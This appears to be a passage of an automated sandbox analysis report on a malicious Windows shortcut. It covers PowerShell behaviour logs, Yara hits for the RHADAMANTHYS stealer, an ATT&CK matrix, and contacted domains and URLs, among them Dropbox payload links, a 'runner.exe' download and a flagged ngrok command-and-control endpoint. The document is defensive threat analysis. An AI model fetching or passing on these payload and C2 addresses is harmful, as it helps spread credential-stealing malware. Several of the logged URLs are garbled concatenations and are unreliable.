Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0513~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Whea\Microsoft.Windows.Whea.WheaMemoryPolicy.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package05113~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsSearch\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WindowsSearch.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsSearch.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\assembly\GAC\Microsoft.mshtml\7.0.3300.0__b03f5f7f11d50a3a\Microsoft.mshtml.dll VolumeInformation
Source: C:\Windows\SysWOW64\fontdrvhost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\fontdrvhost.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Stealing of Sensitive Information

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001B.00000003.3001358905.0000000002E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3009097724.0000000000E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3017348989.0000000003160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3111497032.0000000003210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected RHADAMANTHYS Stealer

Source: Yara match	File source: 0000001B.00000003.3001358905.0000000002E10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.3009097724.0000000000E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001B.00000002.3017348989.0000000003160000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.3111497032.0000000003210000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	11 Windows Management Instrumentation	1 Scripting	111 Process Injection	11 Masquerading	21 Input Capture	221 Security Software Discovery	Remote Services	21 Input Capture	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 PowerShell	Logon Script (Windows)	Logon Script (Windows)	41 Virtualization/Sandbox Evasion	Security Account Manager	41 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	111 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	4 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	115 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	3 Obfuscated Files or Information	Cached Domain Credentials	133 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0J3fAc6cHO.lnk	21%	ReversingLabs	Win32.Trojan.Pantera
0J3fAc6cHO.lnk	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.comiviy	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/LogoutYxAB	0%	Avira URL Cloud	safe
http://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1	0%	Avira URL Cloud	safe
http://ubi.comd:/dev/assassin-playground/dx10_integration/main/extern/onlineservices/Tracking/Module	0%	Avira URL Cloud	safe
http://www.ubi.com	0%	Avira URL Cloud	safe
http://www.ubi.com/es	0%	Avira URL Cloud	safe
http://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	0%	Avira URL Cloud	safe
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ng	0%	Avira URL Cloud	safe
https://uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com/cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1	0%	Avira URL Cloud	safe
https://uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com/cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1	0%	Avira URL Cloud	safe
https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	0%	Avira URL Cloud	safe
https://permanently-removed.invalid/oauth2/v2/tokeninfohttps://permanently-removed.invalid/v1/issuet	0%	Avira URL Cloud	safe
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606	0%	Avira URL Cloud	safe
https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com/cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1	0%	Avira URL Cloud	safe
http://www.ubi.com/de	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
fg.microsoft.map.fastly.net	199.232.210.172	true	false	high
chrome.cloudflare-dns.com	162.159.61.3	true	false	high
1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app	3.125.209.94	true	true	unknown
edge-block-www-env.dropbox-dns.com	162.125.69.15	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.65	true	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com	unknown	unknown	true	unknown
ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc7f27764181b427eb74205cdcb8.dl.dropboxusercontent.com	unknown	unknown	true	unknown
uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com	unknown	unknown	true	unknown
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.com/cd/0/get/CgY1MXDcZRPnakpGh47TGnd-a3ngFodvPiZea0hrqxVrT6SNLon0oI00KcKBQBdJn0HCPMD59thafM3TiVK4ToKHfRtWA5UmkkWplehqwpQ4Q6VJfmHLFb009whcAGFRH0g657Ko1YMgaP6XBG8yCRIv/file?dl=1	false	Avira URL Cloud: safe	unknown
https://1zf9cygs0q3iviyowq83ddwzwtgf78rh.ngrok.app/api/secure/6dc5ab464f5bc22bbff3934d61830606	true	Avira URL Cloud: safe	unknown
https://uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com/cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4HV2FOsenCZnftBGagxXWqfJGbok_Rw6kYM6bITShviiEO-XLsqd7kX5DhaRGpDQ6OQkDYZJB3Ujq_zG59WV3cwSLHXW4NI398muxG6Le98jk748A_r_i/file?dl=1	false	Avira URL Cloud: safe	unknown
https://ucd24643649bac0467233a3909f7.dl.dropboxusercontent.com/cd/0/get/CgbNmXAqM1wvvWO56t4UHHZ2wZyBtClDzM91JHL8AYxcPQR0PajL6K14nXQikBWli5FkGf1GTv3JBsf8gFrYx5LkdmZwFbImQrU3Ydq9kJ1b4QNJKvyF9wZ6d4Di7ZRVu3IJIGDhGELYgaNnnZc6rA2f/file?dl=1	false	Avira URL Cloud: safe	unknown
https://uc8a637cf7d6d6484432f8a45e04.dl.dropboxusercontent.com/cd/0/get/CgbDQoJsI6R58j4ru660UEOz8fpXzoS6gcqFBoUBgchkWnfHyms9XOtlJieYXlqdaqGAfoIm7BmhKdouhZ4sna2p4w_ZN9ujR8qPkrGT3qgbnR6EAoDsPVsQi3XIMZaUWQUzfRCnrzpMQEgJeeE28yu8/file?dl=1	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://permanently-removed.invalid/oauth2/v2/tokeninfo	msedge.exe, 00000005.00000003.2244830038.0000171000274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2244691762.0000171000270000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000003.2400857871.00002B8C00270000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4633	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7382	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/284462263	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ubi.comd:/dev/assassin-playground/dx10_integration/main/extern/onlineservices/Tracking/Module	933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 00000019.00000000.2833027686.0000000001683000.00000002.00000001.01000000.0000000F.sdmp, 933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000000.2989659636.0000000001683000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://uc1d57c7aa7a25fe6f549e38c295.dl.dropboxusercontent.comiviy	powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.dropbox.com/	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/dokument-analizy-narusze-praw-autorskich.pdf?rl	powershell.exe, 00000010.00000002.2967402926.00000169C2DE0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anglebug.com/7714	msedge.exe, 00000005.00000003.2245618935.000017100037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/g33vds4uvy26a8v7ble7g/runner.exe?rlkey=	powershell.exe, 00000010.00000002.2967676644.00000169C2F00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2384952193.00000143DA94F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6248	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ubi.com	933d8aec-ae86-4e0a-8a0a-8d74c5daaa60.exe, 0000001B.00000002.3015566113.00000000029D8000.00000002.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
http://edge-block-www-env.dropbox-dns.com	powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6929	msedge.exe, 00000005.00000003.2246696863.0000171000368000.00000004.00000800.00020000.00000000.sdmp	false		high
https://officeapps-df.live.com	powershell.exe, 00000002.00000002.2350155115.00000143CAC76000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAFD6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CACA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.2350155115.00000143CAC8E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF70000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFFA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAFA4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000010.00000002.2876110731.00000169AAF8F000.00000004.00000800.00020000.00000000.sdmp	false		high
